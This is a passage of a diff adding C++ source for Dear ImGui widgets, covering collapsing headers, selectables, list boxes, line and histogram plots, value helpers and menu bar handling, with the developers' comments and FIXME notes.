_NoTreePushOnOpen flag if you want behavior closer to normal TreeNode(). +bool ImGui::CollapsingHeader(const char* label, ImGuiTreeNodeFlags flags) +{ + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return false; + + return TreeNodeBehavior(window->GetID(label), flags | ImGuiTreeNodeFlags_CollapsingHeader, label); +} + +bool ImGui::CollapsingHeader(const char* label, bool* p_open, ImGuiTreeNodeFlags flags) +{ + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return false; + + if (p_open && !*p_open) + return false; + + ImGuiID id = window->GetID(label); + flags |= ImGuiTreeNodeFlags_CollapsingHeader; + if (p_open) + flags |= ImGuiTreeNodeFlags_AllowItemOverlap | ImGuiTreeNodeFlags_ClipLabelForTrailingButton; + bool is_open = TreeNodeBehavior(id, flags, label); + if (p_open != NULL) + { + // Create a small overlapping close button + // FIXME: We can evolve this into user accessible helpers to add extra buttons on title bars, headers, etc. + // FIXME: CloseButton can overlap into text, need find a way to clip the text somehow. + ImGuiContext& g = *GImGui; + ImGuiLastItemDataBackup last_item_backup; + float button_size = g.FontSize; + float button_x = ImMax(window->DC.LastItemRect.Min.x, window->DC.LastItemRect.Max.x - g.Style.FramePadding.x * 2.0f - button_size); + float button_y = window->DC.LastItemRect.Min.y; + ImGuiID close_button_id = GetIDWithSeed("#CLOSE", NULL, id); + if (CloseButton(close_button_id, ImVec2(button_x, button_y))) + *p_open = false; + last_item_backup.Restore(); + } + + return is_open; +} + +//------------------------------------------------------------------------- +// [SECTION] Widgets: Selectable +//------------------------------------------------------------------------- +// - Selectable() +//------------------------------------------------------------------------- + +// Tip: pass a non-visible label (e.g. "##hello") then you can use the space to draw other text or image. +// But you need to make sure the ID is unique, e.g. enclose calls in PushID/PopID or use ##unique_id. +// With this scheme, ImGuiSelectableFlags_SpanAllColumns and ImGuiSelectableFlags_AllowItemOverlap are also frequently used flags. +// FIXME: Selectable() with (size.x == 0.0f) and (SelectableTextAlign.x > 0.0f) followed by SameLine() is currently not supported. +bool ImGui::Selectable(const char* label, bool selected, ImGuiSelectableFlags flags, const ImVec2& size_arg) +{ + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return false; + + ImGuiContext& g = *GImGui; + const ImGuiStyle& style = g.Style; + + // Submit label or explicit size to ItemSize(), whereas ItemAdd() will submit a larger/spanning rectangle. + ImGuiID id = window->GetID(label); + ImVec2 label_size = CalcTextSize(label, NULL, true); + ImVec2 size(size_arg.x != 0.0f ? size_arg.x : label_size.x, size_arg.y != 0.0f ? size_arg.y : label_size.y); + ImVec2 pos = window->DC.CursorPos; + pos.y += window->DC.CurrLineTextBaseOffset; + ItemSize(size, 0.0f); + + // Fill horizontal space + // We don't support (size < 0.0f) in Selectable() because the ItemSpacing extension would make explicitely right-aligned sizes not visibly match other widgets. + const bool span_all_columns = (flags & ImGuiSelectableFlags_SpanAllColumns) != 0; + const float min_x = span_all_columns ? window->ParentWorkRect.Min.x : pos.x; + const float max_x = span_all_columns ? window->ParentWorkRect.Max.x : window->WorkRect.Max.x; + if (size_arg.x == 0.0f || (flags & ImGuiSelectableFlags_SpanAvailWidth)) + size.x = ImMax(label_size.x, max_x - min_x); + + // Text stays at the submission position, but bounding box may be extended on both sides + const ImVec2 text_min = pos; + const ImVec2 text_max(min_x + size.x, pos.y + size.y); + + // Selectables are meant to be tightly packed together with no click-gap, so we extend their box to cover spacing between selectable. + ImRect bb(min_x, pos.y, text_max.x, text_max.y); + if ((flags & ImGuiSelectableFlags_NoPadWithHalfSpacing) == 0) + { + const float spacing_x = span_all_columns ? 0.0f : style.ItemSpacing.x; + const float spacing_y = style.ItemSpacing.y; + const float spacing_L = IM_FLOOR(spacing_x * 0.50f); + const float spacing_U = IM_FLOOR(spacing_y * 0.50f); + bb.Min.x -= spacing_L; + bb.Min.y -= spacing_U; + bb.Max.x += (spacing_x - spacing_L); + bb.Max.y += (spacing_y - spacing_U); + } + //if (g.IO.KeyCtrl) { GetForegroundDrawList()->AddRect(bb.Min, bb.Max, IM_COL32(0, 255, 0, 255)); } + + // Modify ClipRect for the ItemAdd(), faster than doing a PushColumnsBackground/PushTableBackground for every Selectable.. + const float backup_clip_rect_min_x = window->ClipRect.Min.x; + const float backup_clip_rect_max_x = window->ClipRect.Max.x; + if (span_all_columns) + { + window->ClipRect.Min.x = window->ParentWorkRect.Min.x; + window->ClipRect.Max.x = window->ParentWorkRect.Max.x; + } + + bool item_add; + if (flags & ImGuiSelectableFlags_Disabled) + { + ImGuiItemFlags backup_item_flags = window->DC.ItemFlags; + window->DC.ItemFlags |= ImGuiItemFlags_Disabled | ImGuiItemFlags_NoNavDefaultFocus; + item_add = ItemAdd(bb, id); + window->DC.ItemFlags = backup_item_flags; + } + else + { + item_add = ItemAdd(bb, id); + } + + if (span_all_columns) + { + window->ClipRect.Min.x = backup_clip_rect_min_x; + window->ClipRect.Max.x = backup_clip_rect_max_x; + } + + if (!item_add) + return false; + + // FIXME: We can standardize the behavior of those two, we could also keep the fast path of override ClipRect + full push on render only, + // which would be advantageous since most selectable are not selected. + if (span_all_columns && window->DC.CurrentColumns) + PushColumnsBackground(); + else if (span_all_columns && g.CurrentTable) + TablePushBackgroundChannel(); + + // We use NoHoldingActiveID on menus so user can click and _hold_ on a menu then drag to browse child entries + ImGuiButtonFlags button_flags = 0; + if (flags & ImGuiSelectableFlags_NoHoldingActiveID) { button_flags |= ImGuiButtonFlags_NoHoldingActiveId; } + if (flags & ImGuiSelectableFlags_SelectOnClick) { button_flags |= ImGuiButtonFlags_PressedOnClick; } + if (flags & ImGuiSelectableFlags_SelectOnRelease) { button_flags |= ImGuiButtonFlags_PressedOnRelease; } + if (flags & ImGuiSelectableFlags_Disabled) { button_flags |= ImGuiButtonFlags_Disabled; } + if (flags & ImGuiSelectableFlags_AllowDoubleClick) { button_flags |= ImGuiButtonFlags_PressedOnClickRelease | ImGuiButtonFlags_PressedOnDoubleClick; } + if (flags & ImGuiSelectableFlags_AllowItemOverlap) { button_flags |= ImGuiButtonFlags_AllowItemOverlap; } + + if (flags & ImGuiSelectableFlags_Disabled) + selected = false; + + const bool was_selected = selected; + bool hovered, held; + bool pressed = ButtonBehavior(bb, id, &hovered, &held, button_flags); + + // Update NavId when clicking or when Hovering (this doesn't happen on most widgets), so navigation can be resumed with gamepad/keyboard + if (pressed || (hovered && (flags & ImGuiSelectableFlags_SetNavIdOnHover))) + { + if (!g.NavDisableMouseHover && g.NavWindow == window && g.NavLayer == window->DC.NavLayerCurrent) + { + g.NavDisableHighlight = true; + SetNavID(id, window->DC.NavLayerCurrent, window->DC.NavFocusScopeIdCurrent); + } + } + if (pressed) + MarkItemEdited(id); + + if (flags & ImGuiSelectableFlags_AllowItemOverlap) + SetItemAllowOverlap(); + + // In this branch, Selectable() cannot toggle the selection so this will never trigger. + if (selected != was_selected) //-V547 + window->DC.LastItemStatusFlags |= ImGuiItemStatusFlags_ToggledSelection; + + // Render + if (held && (flags & ImGuiSelectableFlags_DrawHoveredWhenHeld)) + hovered = true; + if (hovered || selected) + { + const ImU32 col = GetColorU32((held && hovered) ? ImGuiCol_HeaderActive : hovered ? ImGuiCol_HeaderHovered : ImGuiCol_Header); + RenderFrame(bb.Min, bb.Max, col, false, 0.0f); + RenderNavHighlight(bb, id, ImGuiNavHighlightFlags_TypeThin | ImGuiNavHighlightFlags_NoRounding); + } + + if (span_all_columns && window->DC.CurrentColumns) + PopColumnsBackground(); + else if (span_all_columns && g.CurrentTable) + TablePopBackgroundChannel(); + + if (flags & ImGuiSelectableFlags_Disabled) PushStyleColor(ImGuiCol_Text, style.Colors[ImGuiCol_TextDisabled]); + RenderTextClipped(text_min, text_max, label, NULL, &label_size, style.SelectableTextAlign, &bb); + if (flags & ImGuiSelectableFlags_Disabled) PopStyleColor(); + + // Automatically close popups + if (pressed && (window->Flags & ImGuiWindowFlags_Popup) && !(flags & ImGuiSelectableFlags_DontClosePopups) && !(window->DC.ItemFlags & ImGuiItemFlags_SelectableDontClosePopup)) + CloseCurrentPopup(); + + IMGUI_TEST_ENGINE_ITEM_INFO(id, label, window->DC.ItemFlags); + return pressed; +} + +bool ImGui::Selectable(const char* label, bool* p_selected, ImGuiSelectableFlags flags, const ImVec2& size_arg) +{ + if (Selectable(label, *p_selected, flags, size_arg)) + { + *p_selected = !*p_selected; + return true; + } + return false; +} + +//------------------------------------------------------------------------- +// [SECTION] Widgets: ListBox +//------------------------------------------------------------------------- +// - ListBox() +// - ListBoxHeader() +// - ListBoxFooter() +//------------------------------------------------------------------------- +// FIXME: This is an old API. We should redesign some of it, rename ListBoxHeader->BeginListBox, ListBoxFooter->EndListBox +// and promote using them over existing ListBox() functions, similarly to change with combo boxes. +//------------------------------------------------------------------------- + +// FIXME: In principle this function should be called BeginListBox(). We should rename it after re-evaluating if we want to keep the same signature. +// Helper to calculate the size of a listbox and display a label on the right. +// Tip: To have a list filling the entire window width, PushItemWidth(-1) and pass an non-visible label e.g. "##empty" +bool ImGui::ListBoxHeader(const char* label, const ImVec2& size_arg) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return false; + + const ImGuiStyle& style = g.Style; + const ImGuiID id = GetID(label); + const ImVec2 label_size = CalcTextSize(label, NULL, true); + + // Size default to hold ~7 items. Fractional number of items helps seeing that we can scroll down/up without looking at scrollbar. + ImVec2 size = CalcItemSize(size_arg, CalcItemWidth(), GetTextLineHeightWithSpacing() * 7.4f + style.ItemSpacing.y); + ImVec2 frame_size = ImVec2(size.x, ImMax(size.y, label_size.y)); + ImRect frame_bb(window->DC.CursorPos, window->DC.CursorPos + frame_size); + ImRect bb(frame_bb.Min, frame_bb.Max + ImVec2(label_size.x > 0.0f ? style.ItemInnerSpacing.x + label_size.x : 0.0f, 0.0f)); + window->DC.LastItemRect = bb; // Forward storage for ListBoxFooter.. dodgy. + g.NextItemData.ClearFlags(); + + if (!IsRectVisible(bb.Min, bb.Max)) + { + ItemSize(bb.GetSize(), style.FramePadding.y); + ItemAdd(bb, 0, &frame_bb); + return false; + } + + BeginGroup(); + if (label_size.x > 0) + RenderText(ImVec2(frame_bb.Max.x + style.ItemInnerSpacing.x, frame_bb.Min.y + style.FramePadding.y), label); + + BeginChildFrame(id, frame_bb.GetSize()); + return true; +} + +// FIXME: In principle this function should be called EndListBox(). We should rename it after re-evaluating if we want to keep the same signature. +bool ImGui::ListBoxHeader(const char* label, int items_count, int height_in_items) +{ + // Size default to hold ~7.25 items. + // We add +25% worth of item height to allow the user to see at a glance if there are more items up/down, without looking at the scrollbar. + // We don't add this extra bit if items_count <= height_in_items. It is slightly dodgy, because it means a dynamic list of items will make the widget resize occasionally when it crosses that size. + // I am expecting that someone will come and complain about this behavior in a remote future, then we can advise on a better solution. + if (height_in_items < 0) + height_in_items = ImMin(items_count, 7); + const ImGuiStyle& style = GetStyle(); + float height_in_items_f = (height_in_items < items_count) ? (height_in_items + 0.25f) : (height_in_items + 0.00f); + + // We include ItemSpacing.y so that a list sized for the exact number of items doesn't make a scrollbar appears. We could also enforce that by passing a flag to BeginChild(). + ImVec2 size; + size.x = 0.0f; + size.y = ImFloor(GetTextLineHeightWithSpacing() * height_in_items_f + style.FramePadding.y * 2.0f); + return ListBoxHeader(label, size); +} + +// FIXME: In principle this function should be called EndListBox(). We should rename it after re-evaluating if we want to keep the same signature. +void ImGui::ListBoxFooter() +{ + ImGuiWindow* parent_window = GetCurrentWindow()->ParentWindow; + const ImRect bb = parent_window->DC.LastItemRect; + const ImGuiStyle& style = GetStyle(); + + EndChildFrame(); + + // Redeclare item size so that it includes the label (we have stored the full size in LastItemRect) + // We call SameLine() to restore DC.CurrentLine* data + SameLine(); + parent_window->DC.CursorPos = bb.Min; + ItemSize(bb, style.FramePadding.y); + EndGroup(); +} + +bool ImGui::ListBox(const char* label, int* current_item, const char* const items[], int items_count, int height_items) +{ + const bool value_changed = ListBox(label, current_item, Items_ArrayGetter, (void*)items, items_count, height_items); + return value_changed; +} + +bool ImGui::ListBox(const char* label, int* current_item, bool (*items_getter)(void*, int, const char**), void* data, int items_count, int height_in_items) +{ + if (!ListBoxHeader(label, items_count, height_in_items)) + return false; + + // Assume all items have even height (= 1 line of text). If you need items of different or variable sizes you can create a custom version of ListBox() in your code without using the clipper. + ImGuiContext& g = *GImGui; + bool value_changed = false; + ImGuiListClipper clipper; + clipper.Begin(items_count, GetTextLineHeightWithSpacing()); // We know exactly our line height here so we pass it as a minor optimization, but generally you don't need to. + while (clipper.Step()) + for (int i = clipper.DisplayStart; i < clipper.DisplayEnd; i++) + { + const bool item_selected = (i == *current_item); + const char* item_text; + if (!items_getter(data, i, &item_text)) + item_text = "*Unknown item*"; + + PushID(i); + if (Selectable(item_text, item_selected)) + { + *current_item = i; + value_changed = true; + } + if (item_selected) + SetItemDefaultFocus(); + PopID(); + } + ListBoxFooter(); + if (value_changed) + MarkItemEdited(g.CurrentWindow->DC.LastItemId); + + return value_changed; +} + +//------------------------------------------------------------------------- +// [SECTION] Widgets: PlotLines, PlotHistogram +//------------------------------------------------------------------------- +// - PlotEx() [Internal] +// - PlotLines() +// - PlotHistogram() +//------------------------------------------------------------------------- + +int ImGui::PlotEx(ImGuiPlotType plot_type, const char* label, float (*values_getter)(void* data, int idx), void* data, int values_count, int values_offset, const char* overlay_text, float scale_min, float scale_max, ImVec2 frame_size) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return -1; + + const ImGuiStyle& style = g.Style; + const ImGuiID id = window->GetID(label); + + const ImVec2 label_size = CalcTextSize(label, NULL, true); + if (frame_size.x == 0.0f) + frame_size.x = CalcItemWidth(); + if (frame_size.y == 0.0f) + frame_size.y = label_size.y + (style.FramePadding.y * 2); + + const ImRect frame_bb(window->DC.CursorPos, window->DC.CursorPos + frame_size); + const ImRect inner_bb(frame_bb.Min + style.FramePadding, frame_bb.Max - style.FramePadding); + const ImRect total_bb(frame_bb.Min, frame_bb.Max + ImVec2(label_size.x > 0.0f ? style.ItemInnerSpacing.x + label_size.x : 0.0f, 0)); + ItemSize(total_bb, style.FramePadding.y); + if (!ItemAdd(total_bb, 0, &frame_bb)) + return -1; + const bool hovered = ItemHoverable(frame_bb, id); + + // Determine scale from values if not specified + if (scale_min == FLT_MAX || scale_max == FLT_MAX) + { + float v_min = FLT_MAX; + float v_max = -FLT_MAX; + for (int i = 0; i < values_count; i++) + { + const float v = values_getter(data, i); + if (v != v) // Ignore NaN values + continue; + v_min = ImMin(v_min, v); + v_max = ImMax(v_max, v); + } + if (scale_min == FLT_MAX) + scale_min = v_min; + if (scale_max == FLT_MAX) + scale_max = v_max; + } + + RenderFrame(frame_bb.Min, frame_bb.Max, GetColorU32(ImGuiCol_FrameBg), true, style.FrameRounding); + + const int values_count_min = (plot_type == ImGuiPlotType_Lines) ? 2 : 1; + int idx_hovered = -1; + if (values_count >= values_count_min) + { + int res_w = ImMin((int)frame_size.x, values_count) + ((plot_type == ImGuiPlotType_Lines) ? -1 : 0); + int item_count = values_count + ((plot_type == ImGuiPlotType_Lines) ? -1 : 0); + + // Tooltip on hover + if (hovered && inner_bb.Contains(g.IO.MousePos)) + { + const float t = ImClamp((g.IO.MousePos.x - inner_bb.Min.x) / (inner_bb.Max.x - inner_bb.Min.x), 0.0f, 0.9999f); + const int v_idx = (int)(t * item_count); + IM_ASSERT(v_idx >= 0 && v_idx < values_count); + + const float v0 = values_getter(data, (v_idx + values_offset) % values_count); + const float v1 = values_getter(data, (v_idx + 1 + values_offset) % values_count); + if (plot_type == ImGuiPlotType_Lines) + SetTooltip("%d: %8.4g\n%d: %8.4g", v_idx, v0, v_idx + 1, v1); + else if (plot_type == ImGuiPlotType_Histogram) + SetTooltip("%d: %8.4g", v_idx, v0); + idx_hovered = v_idx; + } + + const float t_step = 1.0f / (float)res_w; + const float inv_scale = (scale_min == scale_max) ? 0.0f : (1.0f / (scale_max - scale_min)); + + float v0 = values_getter(data, (0 + values_offset) % values_count); + float t0 = 0.0f; + ImVec2 tp0 = ImVec2( t0, 1.0f - ImSaturate((v0 - scale_min) * inv_scale) ); // Point in the normalized space of our target rectangle + float histogram_zero_line_t = (scale_min * scale_max < 0.0f) ? (-scale_min * inv_scale) : (scale_min < 0.0f ? 0.0f : 1.0f); // Where does the zero line stands + + const ImU32 col_base = GetColorU32((plot_type == ImGuiPlotType_Lines) ? ImGuiCol_PlotLines : ImGuiCol_PlotHistogram); + const ImU32 col_hovered = GetColorU32((plot_type == ImGuiPlotType_Lines) ? ImGuiCol_PlotLinesHovered : ImGuiCol_PlotHistogramHovered); + + for (int n = 0; n < res_w; n++) + { + const float t1 = t0 + t_step; + const int v1_idx = (int)(t0 * item_count + 0.5f); + IM_ASSERT(v1_idx >= 0 && v1_idx < values_count); + const float v1 = values_getter(data, (v1_idx + values_offset + 1) % values_count); + const ImVec2 tp1 = ImVec2( t1, 1.0f - ImSaturate((v1 - scale_min) * inv_scale) ); + + // NB: Draw calls are merged together by the DrawList system. Still, we should render our batch are lower level to save a bit of CPU. + ImVec2 pos0 = ImLerp(inner_bb.Min, inner_bb.Max, tp0); + ImVec2 pos1 = ImLerp(inner_bb.Min, inner_bb.Max, (plot_type == ImGuiPlotType_Lines) ? tp1 : ImVec2(tp1.x, histogram_zero_line_t)); + if (plot_type == ImGuiPlotType_Lines) + { + window->DrawList->AddLine(pos0, pos1, idx_hovered == v1_idx ? col_hovered : col_base); + } + else if (plot_type == ImGuiPlotType_Histogram) + { + if (pos1.x >= pos0.x + 2.0f) + pos1.x -= 1.0f; + window->DrawList->AddRectFilled(pos0, pos1, idx_hovered == v1_idx ? col_hovered : col_base); + } + + t0 = t1; + tp0 = tp1; + } + } + + // Text overlay + if (overlay_text) + RenderTextClipped(ImVec2(frame_bb.Min.x, frame_bb.Min.y + style.FramePadding.y), frame_bb.Max, overlay_text, NULL, NULL, ImVec2(0.5f, 0.0f)); + + if (label_size.x > 0.0f) + RenderText(ImVec2(frame_bb.Max.x + style.ItemInnerSpacing.x, inner_bb.Min.y), label); + + // Return hovered index or -1 if none are hovered. + // This is currently not exposed in the public API because we need a larger redesign of the whole thing, but in the short-term we are making it available in PlotEx(). + return idx_hovered; +} + +struct ImGuiPlotArrayGetterData +{ + const float* Values; + int Stride; + + ImGuiPlotArrayGetterData(const float* values, int stride) { Values = values; Stride = stride; } +}; + +static float Plot_ArrayGetter(void* data, int idx) +{ + ImGuiPlotArrayGetterData* plot_data = (ImGuiPlotArrayGetterData*)data; + const float v = *(const float*)(const void*)((const unsigned char*)plot_data->Values + (size_t)idx * plot_data->Stride); + return v; +} + +void ImGui::PlotLines(const char* label, const float* values, int values_count, int values_offset, const char* overlay_text, float scale_min, float scale_max, ImVec2 graph_size, int stride) +{ + ImGuiPlotArrayGetterData data(values, stride); + PlotEx(ImGuiPlotType_Lines, label, &Plot_ArrayGetter, (void*)&data, values_count, values_offset, overlay_text, scale_min, scale_max, graph_size); +} + +void ImGui::PlotLines(const char* label, float (*values_getter)(void* data, int idx), void* data, int values_count, int values_offset, const char* overlay_text, float scale_min, float scale_max, ImVec2 graph_size) +{ + PlotEx(ImGuiPlotType_Lines, label, values_getter, data, values_count, values_offset, overlay_text, scale_min, scale_max, graph_size); +} + +void ImGui::PlotHistogram(const char* label, const float* values, int values_count, int values_offset, const char* overlay_text, float scale_min, float scale_max, ImVec2 graph_size, int stride) +{ + ImGuiPlotArrayGetterData data(values, stride); + PlotEx(ImGuiPlotType_Histogram, label, &Plot_ArrayGetter, (void*)&data, values_count, values_offset, overlay_text, scale_min, scale_max, graph_size); +} + +void ImGui::PlotHistogram(const char* label, float (*values_getter)(void* data, int idx), void* data, int values_count, int values_offset, const char* overlay_text, float scale_min, float scale_max, ImVec2 graph_size) +{ + PlotEx(ImGuiPlotType_Histogram, label, values_getter, data, values_count, values_offset, overlay_text, scale_min, scale_max, graph_size); +} + +//------------------------------------------------------------------------- +// [SECTION] Widgets: Value helpers +// Those is not very useful, legacy API. +//------------------------------------------------------------------------- +// - Value() +//------------------------------------------------------------------------- + +void ImGui::Value(const char* prefix, bool b) +{ + Text("%s: %s", prefix, (b ? "true" : "false")); +} + +void ImGui::Value(const char* prefix, int v) +{ + Text("%s: %d", prefix, v); +} + +void ImGui::Value(const char* prefix, unsigned int v) +{ + Text("%s: %d", prefix, v); +} + +void ImGui::Value(const char* prefix, float v, const char* float_format) +{ + if (float_format) + { + char fmt[64]; + ImFormatString(fmt, IM_ARRAYSIZE(fmt), "%%s: %s", float_format); + Text(fmt, prefix, v); + } + else + { + Text("%s: %.3f", prefix, v); + } +} + +//------------------------------------------------------------------------- +// [SECTION] MenuItem, BeginMenu, EndMenu, etc. +//------------------------------------------------------------------------- +// - ImGuiMenuColumns [Internal] +// - BeginMenuBar() +// - EndMenuBar() +// - BeginMainMenuBar() +// - EndMainMenuBar() +// - BeginMenu() +// - EndMenu() +// - MenuItem() +//------------------------------------------------------------------------- + +// Helpers for internal use +void ImGuiMenuColumns::Update(int count, float spacing, bool clear) +{ + IM_ASSERT(count == IM_ARRAYSIZE(Pos)); + IM_UNUSED(count); + Width = NextWidth = 0.0f; + Spacing = spacing; + if (clear) + memset(NextWidths, 0, sizeof(NextWidths)); + for (int i = 0; i < IM_ARRAYSIZE(Pos); i++) + { + if (i > 0 && NextWidths[i] > 0.0f) + Width += Spacing; + Pos[i] = IM_FLOOR(Width); + Width += NextWidths[i]; + NextWidths[i] = 0.0f; + } +} + +float ImGuiMenuColumns::DeclColumns(float w0, float w1, float w2) // not using va_arg because they promote float to double +{ + NextWidth = 0.0f; + NextWidths[0] = ImMax(NextWidths[0], w0); + NextWidths[1] = ImMax(NextWidths[1], w1); + NextWidths[2] = ImMax(NextWidths[2], w2); + for (int i = 0; i < IM_ARRAYSIZE(Pos); i++) + NextWidth += NextWidths[i] + ((i > 0 && NextWidths[i] > 0.0f) ? Spacing : 0.0f); + return ImMax(Width, NextWidth); +} + +float ImGuiMenuColumns::CalcExtraSpace(float avail_w) const +{ + return ImMax(0.0f, avail_w - Width); +} + +// FIXME: Provided a rectangle perhaps e.g. a BeginMenuBarEx() could be used anywhere.. +// Currently the main responsibility of this function being to setup clip-rect + horizontal layout + menu navigation layer. +// Ideally we also want this to be responsible for claiming space out of the main window scrolling rectangle, in which case ImGuiWindowFlags_MenuBar will become unnecessary. +// Then later the same system could be used for multiple menu-bars, scrollbars, side-bars. +bool ImGui::BeginMenuBar() +{ + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return false; + if (!(window->Flags & ImGuiWindowFlags_MenuBar)) + return false; + + IM_ASSERT(!window->DC.MenuBarAppending); + BeginGroup(); // Backup position on layer 0 // FIXME: Misleading to use a group for that backup/restore + PushID("##menubar"); + + // We don't clip with current window clipping rectangle as it is already set to the area below. However we clip with window full rect. + // We remove 1 worth of rounding to Max.x to that text in long menus and small windows don't tend to display over the lower-right rounded area, which looks particularly glitchy. + ImRect bar_rect = window->MenuBarRect(); + ImRect clip_rect(IM_ROUND(bar_rect.Min.x + window->WindowBorderSize), IM_ROUND(bar_rect.Min.y + window->WindowBorderSize), IM_ROUND(ImMax(bar_rect.Min.x, bar_rect.Max.x - ImMax(window->WindowRounding, window->WindowBorderSize))), IM_ROUND(bar_rect.Max.y)); + clip_rect.ClipWith(window->OuterRectClipped); + PushClipRect(clip_rect.Min, clip_rect.Max, false); + + // We overwrite CursorMaxPos because BeginGroup sets it to CursorPos (essentially the .EmitItem hack in EndMenuBar() would need something analoguous here, maybe a BeginGroupEx() with flags). + window->DC.CursorPos = window->DC.CursorMaxPos = ImVec2(bar_rect.Min.x + window->DC.MenuBarOffset.x, bar_rect.Min.y + window->DC.MenuBarOffset.y); + window->DC.LayoutType = ImGuiLayoutType_Horizontal; + window->DC.NavLayerCurrent = ImGuiNavLayer_Menu; + window->DC.MenuBarAppending = true; + AlignTextToFramePadding(); + return true; +} + +void ImGui::EndMenuBar() +{ + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return; + ImGuiContext& g = *GImGui; + + // Nav: When a move request within one of our child menu failed, capture the request to navigate among our siblings. + if (NavMoveRequestButNoResultYet() && (g.NavMoveDir == ImGuiDir_Left || g.NavMoveDir == ImGuiDir_Right) && (g.NavWindow->Flags & ImGuiWindowFlags_ChildMenu)) + { + ImGuiWindow* nav_earliest_child = g.NavWindow; + while (nav_earliest_child->ParentWindow && (nav_earliest_child->ParentWindow->Flags & ImGuiWindowFlags_ChildMenu)) + nav_earliest_child = nav_earliest_child->ParentWindow; + if (nav_earliest_child->ParentWindow == window && nav_earliest_child->DC.ParentLayoutType == ImGuiLayoutType_Horizontal && g.NavMoveRequestForward == ImGuiNavForward_None) + { + // To do so we claim focus back, restore NavId and then process the movement request for yet another frame. + // This involve a one-frame delay which isn't very problematic in this situation. We could remove it by scoring in advance for multiple window (probably not worth the hassle/cost) + const ImGuiNavLayer layer = ImGuiNavLayer_Menu; + IM_ASSERT(window->DC.NavLayerActiveMaskNext & (1 << layer)); // Sanity check + FocusWindow(window); + SetNavIDWithRectRel(window->NavLastIds[layer], layer, 0, window->NavRectRel[layer]); + g.NavLayer = layer; + g.NavDisableHighlight = true; // Hide highlight for the current frame so we don't see the intermediary selection. + g.NavMoveRequestForward = ImGuiNavForward_ForwardQueued; + NavMoveRequestCancel(); + } + } + + IM_ASSERT(window->Flags & ImGuiWindowFlags_MenuBar); + IM_ASSERT(window->DC.MenuBarAppending); + PopClipRect(); + PopID(); + window->DC.MenuBarOffset.x = window->DC.CursorPos.x - window->MenuBarRect().Min.x; // Save horizontal position so next append can reuse it. This is kinda equivalent to a per-layer CursorPos. + g.GroupStack.back().EmitItem = false; + EndGroup(); // Restore position on layer 0 + window->DC.LayoutType = ImGuiLayoutType_Vertical; + window->DC.NavLayerCurrent = ImGuiNavLayer_Main; + window->DC.MenuBarAppending = false; +} + +// For the main menu bar, which cannot be moved, we honor g.Style.DisplaySafeAreaPadding to ensure text can be visible on a TV set. +bool ImGui::BeginMainMenuBar() +{ + ImGuiContext& g = *GImGui; + g.NextWindowData.MenuBarOffsetMinVal = ImVec2(g.Style.DisplaySafeAreaPadding.x, ImMax(g.Style.DisplaySafeAreaPadding.y - g.Style.FramePadding.y, 0.0f)); + SetNextWindowPos(ImVec2(0.0f, 0.0f)); + SetNextWindowSize(ImVec2(g.IO.DisplaySize.x, g.NextWindowData.MenuBarOffsetMinVal.y + g.FontBaseSize + g.Style.FramePadding.y)); + PushStyleVar(ImGuiStyleVar_WindowRounding, 0.0f); + PushStyleVar(ImGuiStyleVar_WindowMinSize, ImVec2(0, 0)); + ImGuiWindowFlags window_flags = ImGuiWindowFlags_NoTitleBar | ImGuiWindowFlags_NoResize | ImGuiWindowFlags_NoMove | ImGuiWindowFlags_NoScrollbar | ImGuiWindowFlags_NoSavedSettings | ImGuiWindowFlags_MenuBar; + bool is_open = Begin("##MainMenuBar", NULL, window_flags) && BeginMenuBar(); + PopStyleVar(2); + g.NextWindowData.MenuBarOffsetMinVal = ImVec2(0.0f, 0.0f); + if (!is_open) + { + End(); + return false; + } + return true; //-V1020 +} + +void ImGui::EndMainMenuBar() +{ + EndMenuBar(); + + // When the user has left the menu layer (typically: closed menus through activation of an item), we restore focus to the previous window + // FIXME: With this strategy we won't be able to restore a NULL focus. + ImGuiContext& g = *GImGui; + if (g.CurrentWindow == g.NavWindow && g.NavLayer == ImGuiNavLayer_Main && !g.NavAnyRequest) + FocusTopMostWindowUnderOne(g.NavWindow, NULL); + + End(); +} + +bool ImGui::BeginMenu(const char* label, bool enabled) +{ + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return false; + + ImGuiContext& g = *GImGui; + const ImGuiStyle& style = g.Style; + const ImGuiID id = window->GetID(label); + bool menu_is_open = IsPopupOpen(id, ImGuiPopupFlags_None); + + // Sub-menus are ChildWindow so that mouse can be hovering across them (otherwise top-most popup menu would steal focus and not allow hovering on parent menu) + ImGuiWindowFlags flags = ImGuiWindowFlags_ChildMenu | ImGuiWindowFlags_AlwaysAutoResize | ImGuiWindowFlags_NoMove | ImGuiWindowFlags_NoTitleBar | ImGuiWindowFlags_NoSavedSettings | ImGuiWindowFlags_NoNavFocus; + if (window->Flags & (ImGuiWindowFlags_Popup | ImGuiWindowFlags_ChildMenu)) + flags |= ImGuiWindowFlags_ChildWindow; + + // If a menu with same the ID was already submitted, we will append to it, matching the behavior of Begin(). + // We are relying on a O(N) search - so O(N log N) over the frame - which seems like the most efficient for the expected small amount of BeginMenu() calls per frame. + // If somehow this is ever becoming a problem we can switch to use e.g. ImGuiStorage mapping key to last frame used. + if (g.MenusIdSubmittedThisFrame.contains(id)) + { + if (menu_is_open) + menu_is_open = BeginPopupEx(id, flags); // menu_is_open can be 'false' when the popup is completely clipped (e.g. zero size display) + else + g.NextWindowData.ClearFlags(); // we behave like Begin() and need to consume those values + return menu_is_open; + } + + // Tag menu as used. Next time BeginMenu() with same ID is called it will append to existing menu + g.MenusIdSubmittedThisFrame.push_back(id); + + ImVec2 label_size = CalcTextSize(label, NULL, true); + bool pressed; + bool menuset_is_open = !(window->Flags & ImGuiWindowFlags_Popup) && (g.OpenPopupStack.Size > g.BeginPopupStack.Size && g.OpenPopupStack[g.BeginPopupStack.Size].OpenParentId == window->IDStack.back()); + ImGuiWindow* backed_nav_window = g.NavWindow; + if (menuset_is_open) + g.NavWindow = window; // Odd hack to allow hovering across menus of a same menu-set (otherwise we wouldn't be able to hover parent) + + // The reference position stored in popup_pos will be used by Begin() to find a suitable position for the child menu, + // However the final position is going to be different! It is chosen by FindBestWindowPosForPopup(). + // e.g. Menus tend to overlap each other horizontally 